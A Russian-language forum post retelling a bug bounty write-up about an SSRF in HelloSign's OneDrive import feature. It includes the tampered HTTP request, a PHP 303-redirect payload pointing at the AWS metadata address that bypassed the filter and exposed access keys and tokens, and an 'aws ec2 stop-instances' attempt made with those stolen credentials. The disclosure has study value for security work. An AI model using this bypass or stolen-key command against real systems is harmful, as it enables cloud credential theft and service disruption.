SSRF (подделка запросов на стороне сервера) стоимостью 4913$

Mutt

Professional
Messages
1,059
Reputation
7
Reaction score
576
Points
113
Эта статья носит исключительно образовательный характер. Автор не несет ответственности за любые последствия ее прочтения.

Вступление
Всем привет, в сегодняшней статье мы рассмотрим уязвимость, за которую автор получил почти 5 тысяч долларов по программе Dropbox Bug Bounty. Это уязвимость SSRF - подделка запросов на стороне сервера.

Программа Dropbox показалась автору очень интересной, так как у нее были лучшие выплаты и хорошее время ответа, поэтому он преступил к поиску уязвимостей на HelloSign, относящейся к этой программе.

Поиск и эксплуатация уязвимости
В первую очередь, началась охота на основное приложение app.hellosign.com. Там была обнаружена функция импорта документов из Dropbox, GDrive, BOX, OneDrive, EverNote. В этот момент автор подумал про SSRF и начал с функции импорта Dropbox и увидел следующий запрос:
aa0c6a1018dccc6170d41.png


Пробуем изменить значение параметра file_reference на URL-адрес своего Burp Colobarator, но в ответ получаем ошибку 404. Возможно у них есть защита SSRF. Автор продолжил поиск, решил попробовать с функцией OneDrive, и увидел этот запрос:
Code:
GET /attachment/externalFile?service_type=O&file_reference=MYONEDRIVEFILELINKHERE&file_name=FILENAME.ANYTHING&c=0.8261955039214062 HTTP/1.1
Host: app.hellosign.com
Connection: close
Accept: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
X-CSRF-Token:
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: REDACTED
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en
US;q=0.9,en;q=0.8,hi;q=0.7
Cookie:REDACTED

Можно заметить, что запрос выше имеет значение параметра service_type равное O. Это означает, что Onedrive делает его отличным от первого запроса, который поступает из Dropbox и имеет значение этого параметра - D. Теперь значение параметра file_reference меняем на ссылку нашего Burp Coloborator, и, к счастью, на этот раз получаем пинг.

После этого на HelloSign был создан PDF-файл, включающий содержимое страницы Burp Coloborator.

Переходим к этапу, на котором пробуем получить контент с localhost. Сначала проверим, какой облачный сервис они используют на whatismyipaddress.com, и обнаружим, что они используют AWS/EC2. Попытаемся получить , но в ответ получаем:
Code:
404 Not Found

К сожалению, запрос не прошел. Теперь попробуем запросить , но он получает такой же ответ.

Автор попытался найти другие способы с помощью Hackerone Hacktivity и нашел этот отчет GEM: https://hackerone.com/reports/247680, где репортер использовал перенаправление 303 Redirect для обхода защиты SSRF.

Разместим на своем сервере следующий код:
Code:
<?php header('Location: http://169.254.169.254/latest/meta-data/', TRUE, 303); ?>

Пробуем еще раз с составленной ссылкой перенаправления сервера и наконец получаем содержимое экземпляра AWS (метаданные).
10036aba642850a2d32ee.png


Таким образом был найден SSRF с возможностью полного чтения в одной из крупнейших и лучших программ по выявлению ошибок по всему миру. Уязвимость позволяла получить чувствительные данные из метаданных AWS, такие как access_keys, токены и т.д.

Автор также решил проверить наличие там RCE. Он получил ключ доступа, токен и попробовал выполнить команду:
Code:
aws ec2 stop-instances —-instance-ids intsanceidhere

но это не сработало, поскольку у этой роли не было достаточно разрешений для выполнения команды.

Наконец, на 9-й день Dropbox выслал награду, размером 4913 долларов.
318738ef00c4517599cba.png


На этом все. Благодарю за просмотр!
 
Top